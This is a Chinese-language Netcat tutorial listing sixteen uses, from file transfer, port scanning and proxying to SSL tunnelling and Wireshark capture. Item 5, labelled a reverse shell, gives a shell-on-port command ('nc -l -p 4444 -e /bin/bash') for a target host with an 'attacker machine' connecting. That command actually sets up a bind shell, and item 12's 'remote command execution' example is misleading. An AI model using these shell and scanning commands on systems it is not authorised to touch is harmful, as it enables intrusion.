在大多数Linux发行版中,Netcat已经预装。如果需要安装或确保最新版本,请使用系统特定的包管理工具。例如,在Ubuntu上,可以使用以下命令安装Netcat:
sudo apt-get install netcat
1、基本用法是在两台计算机之间建立简单的TCP连接。以下是一个简单的示例
# 在服务器上监听指定端口
nc -l -p 1234
# 在客户端连接到服务器
nc 服务器IP地址 1234
2、在计算机之间传输文件,从一个服务器向另一个服务器传输文件
# 在接收端运行
nc -l -p 1234 > received_file
# 在发送端运行
nc 接收端IP地址 1234 < local_file
3、简单的端口扫描示例
nc -zv 目标主机IP 20-80
4、服务探测
# 命令向目标主机的80端口发送HTTP GET请求,并显示响应。通过观察响应,您可以了解目标主机上是否运行着一个Web服务器
echo "GET /" | nc -v 目标主机IP 80
5、创建反向 Shell
# 在目标主机上运行以下命令:
nc -l -p 4444 -e /bin/bash
# 在攻击者机器上运行
nc 目标主机IP 4444
6、创建简单代理
# 作简单的代理,将数据从一个端口转发到另一个端口
nc -l -p 8080 | nc 目标主机IP 80
或
nc -l -p 8080 -c "nc 目标主机IP 80"
7、数据转发与管道
# 通过管道与其他命令一起使用,实现更复杂的数据处理和转发
nc -l -p 8080 | gzip -d | tar xf -
8、使用 SSL/TLS 连接
# 在服务器端启动SSL监听
openssl s_server -quiet -key server.key -cert server.crt -port 4444 | nc -l -p 8080
# 在客户端连接到SSL服务器
ncat --ssl 目标主机IP 8080
9、使用 stunnel 进行加密
# 在服务器端启动 stunnel
stunnel -d 4444 -r 目标主机IP:8080
# 在客户端连接到加密端口
ncat --ssl localhost 4444
10、查看网络流量
nc -l -p 1234 | tee received_data.txt
或
nc -l -p 1234 > dumped_data.cap
11、自定义数据包格式
echo -n "Hello, Server!" | nc 目标主机IP 1234
12、远程执行命令
# 在远程系统上执行命令并返回结果
nc -w 3 目标主机IP 1234 <<< "ls -l"
13、文件传输
# 在接收端解压缩并保存文件
nc -l -p 1234 | tar xzf -
# 在发送端将文件传输并压缩
tar czf - 文件夹 | nc 目标主机IP 1234
14、监听和转发 UDP 流量
# 在本地监听UDP端口
nc -lu -p 1234
# 将UDP数据流转发到另一台主机
nc -u 目标主机IP 1234
15、Docker 容器中使用 Netcat
# 在一个容器中监听端口
docker run -p 1234:1234 -it alpine nc -l -p 1234
# 在另一个容器中连接到监听的端口
docker run -it alpine nc 目标容器IP 1234
16、结合 Wireshark 进行网络分析
# 在监听端口上启动Netcat
nc -l -p 1234 | wireshark -k -i -